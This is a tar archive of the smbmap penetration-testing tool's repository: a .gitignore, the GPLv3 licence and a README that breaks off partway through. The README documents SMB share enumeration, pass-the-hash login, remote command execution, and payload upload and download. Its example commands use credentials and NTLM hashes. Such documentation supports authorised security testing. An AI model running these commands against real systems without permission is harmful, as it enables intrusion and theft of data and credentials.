pax_global_header00006660000000000000000000000064147360406340014521gustar00rootroot0000000000000052 comment=38088088db12fdca82a73da6ada805530bb9caee ShawnDEvans-smbmap-3808808/000077500000000000000000000000001473604063400153635ustar00rootroot00000000000000ShawnDEvans-smbmap-3808808/.gitignore000066400000000000000000000060061473604063400173550ustar00rootroot00000000000000# Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ wheels/ share/python-wheels/ *.egg-info/ .installed.cfg *.egg MANIFEST # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .nox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *.cover *.py,cover .hypothesis/ .pytest_cache/ cover/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py db.sqlite3 db.sqlite3-journal # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder .pybuilder/ target/ # Jupyter Notebook .ipynb_checkpoints # IPython profile_default/ ipython_config.py # pyenv # For a library or package, you might want to ignore these files since the code is # intended to run in multiple environments; otherwise, check them in: # .python-version # pipenv # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. # However, in case of collaboration, if having platform-specific dependencies or dependencies # having no cross-platform support, pipenv may install dependencies that don't work, or not # install all needed dependencies. #Pipfile.lock # poetry # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. # This is especially recommended for binary packages to ensure reproducibility, and is more # commonly ignored for libraries. # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control #poetry.lock # pdm # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. #pdm.lock # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it # in version control. # https://pdm.fming.dev/#use-with-ide .pdm.toml # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm __pypackages__/ # Celery stuff celerybeat-schedule celerybeat.pid # SageMath parsed files *.sage.py # Environments .env .venv env/ venv/ ENV/ env.bak/ venv.bak/ # Spyder project settings .spyderproject .spyproject # Rope project settings .ropeproject # mkdocs documentation /site # mypy .mypy_cache/ .dmypy.json dmypy.json # Pyre type checker .pyre/ # pytype static type analyzer .pytype/ # Cython debug symbols cython_debug/ # PyCharm # JetBrains specific template is maintained in a separate JetBrains.gitignore that can # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore # and can be added to the global gitignore or merged into this file. For a more nuclear # option (not recommended) you can uncomment the following to ignore the entire idea folder. #.idea/ ShawnDEvans-smbmap-3808808/LICENSE000066400000000000000000001044611473604063400163760ustar00rootroot00000000000000GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. {one line to give the program's name and a brief idea of what it does.} Copyright (C) {year} {name of author} This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: {project} Copyright (C) {year} {fullname} This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . ShawnDEvans-smbmap-3808808/README.md000066400000000000000000000630131473604063400166450ustar00rootroot00000000000000# SMBMap SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks. Some of the features have not been thoroughly tested, so changes will be forth coming as bugs are found. I only really find and fix the bugs while I'm on engagements, so progress is a bit slow. Any feedback or bug reports would be appreciated. > **Note** > SMBMap has been updated to Python3! ## Installation ```bash $ sudo pip3 install smbmap $ smbmap smbmap usage: smbmap [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD | --prompt] [-s SHARE] [-d DOMAIN] [-P PORT] [-v] [--admin] [--no-banner] [--no-color] [--no-update] [-x COMMAND] [--mode CMDMODE] [-L | -r [PATH]] [-A PATTERN | -g FILE | --csv FILE] [--dir-only] [--no-write-check] [-q] [--depth DEPTH] [--exclude SHARE [SHARE ...]] [-F PATTERN] [--search-path PATH] [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE] [--skip] ... ``` ## Features: - Pass-the-Hash Support - File upload/download/delete - Permission enumeration (writable share, meet Metasploit) - Remote Command Execution - Distrubted file content searching (beta!) - File name matching (with an auto downoad capability) - Host file parser supports IPs, host names, and CIDR - SMB sigining detection - Server version output - Kerberos support! (super beta) ## Help ``` usage: smbmap.py [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD | --prompt] [-k] [--no-pass] [--dc-ip IP or Host] [-s SHARE] [-d DOMAIN] [-P PORT] [-v] [--signing] [--admin] [--no-banner] [--no-color] [--no-update] [--timeout SCAN_TIMEOUT] [-x COMMAND] [--mode CMDMODE] [-L | -r [PATH]] [-g FILE | --csv FILE] [--dir-only] [--no-write-check] [-q] [--depth DEPTH] [--exclude SHARE [SHARE ...]] [-A PATTERN] [-F PATTERN] [--search-path PATH] [--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE] [--skip] ________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com https://github.com/ShawnDEvans/smbmap options: -h, --help show this help message and exit Main arguments: -H HOST IP or FQDN --host-file FILE File containing a list of hosts -u USERNAME, --username USERNAME Username, if omitted null session assumed -p PASSWORD, --password PASSWORD Password or NTLM hash, format is LMHASH:NTHASH --prompt Prompt for a password -s SHARE Specify a share (default C$), ex 'C$' -d DOMAIN Domain name (default WORKGROUP) -P PORT SMB port (default 445) -v, --version Return the OS version of the remote host --signing Check if host has SMB signing disabled, enabled, or required --admin Just report if the user is an admin --no-banner Removes the banner from the top of the output --no-color Removes the color from output --no-update Removes the "Working on it" message --timeout SCAN_TIMEOUT Set port scan socket timeout. Default is .5 seconds Kerberos settings: -k, --kerberos Use Kerberos authentication --no-pass Use CCache file (export KRB5CCNAME='~/current.ccache') --dc-ip IP or Host IP or FQDN of DC Command Execution: Options for executing commands on the specified host -x COMMAND Execute a command ex. 'ipconfig /all' --mode CMDMODE Set the execution method, wmi or psexec, default wmi Shard drive Search: Options for searching/enumerating the share of the specified host(s) -L List all drives on the specified host, requires ADMIN rights. -r [PATH] Recursively list dirs and files (no share\path lists the root of ALL shares), ex. 'email/backup' -g FILE Output to a file in a grep friendly format, used with -r (otherwise it outputs nothing), ex -g grep_out.txt --csv FILE Output to a CSV file, ex --csv shares.csv --dir-only List only directories, ommit files. --no-write-check Skip check to see if drive grants WRITE access. -q Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search (-A). --depth DEPTH Traverse a directory tree to a specific depth. Default is 1 (root node). --exclude SHARE [SHARE ...] Exclude share(s) from searching and listing, ex. --exclude ADMIN$ C$' -A PATTERN Define a file name pattern (regex) that auto downloads a file on a match (requires -r), not case sensitive, ex '(web|global).(asax|config)' File Content Search: Options for searching the content of files (must run as root), kind of experimental -F PATTERN File content search, -F '[Pp]assword' (requires admin access to execute commands, and PowerShell on victim host) --search-path PATH Specify drive/path to search (used with -F, default C:\Users), ex 'D:\HR\' --search-timeout TIMEOUT Specifcy a timeout (in seconds) before the file search job gets killed. Default is 300 seconds. Filesystem interaction: Options for interacting with the specified host's filesystem --download PATH Download a file from the remote system, ex.'C$\temp\passwords.txt' --upload SRC DST Upload a file to the remote system ex. '/tmp/payload.exe C$\temp\payload.exe' --delete PATH TO FILE Delete a remote file, ex. 'C$\temp\msf.exe' --skip Skip delete file confirmation prompt Examples: $ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1 $ python smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20 $ python smbmap.py -u 'apadmin' -p 'asdf1234!' -d ACME -Hh 10.1.3.30 -x 'net group "Domain Admins" /domain' ``` ## Default Output: ``` $ ./smbmap.py -H 192.168.86.214 -u Administrator -p asdf1234 ________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\ (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :) \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/ __/ \ |: \. |(| _ \ |: \. | // __' \ (| / /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \ (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______) ----------------------------------------------------------------------------- SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com https://github.com/ShawnDEvans/smbmap [*] Detected 1 hosts serving SMB [*] Established 1 SMB connections(s) and 1 authentidated session(s) [+] IP: 192.168.86.214:445 Name: shawnevans-pc.lan Status: ADMIN!!! Disk Permissions Comment ---- ----------- ------- ADMIN$ READ, WRITE Remote Admin C$ READ, WRITE Default share IPC$ NO ACCESS Remote IPC MS Publisher Color Printer NO ACCESS MS Publisher Color Printer print$ READ, WRITE Printer Drivers Temp READ, WRITE Users READ, WRITE ``` ## Command execution: ``` $ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 192.168.2.50 [+] Finding open SMB ports.... [+] User SMB session established... [+] IP: 192.168.2.50:445 Name: unknown Group name Domain Admins Comment Designated administrators of the domain Members ------------------------------------------------------------------------------- abcadmin The command completed successfully. ``` ## Non recursive path listing (ls): ``` $ ./smbmap.py -H 192.168.86.214 -u Administrator -p asdf1234 -r c$ -q ________ ___ ___ _______ ___ ___ __ _______ /" )|" \ /" || _ "\ |" \ /" | /""\ | 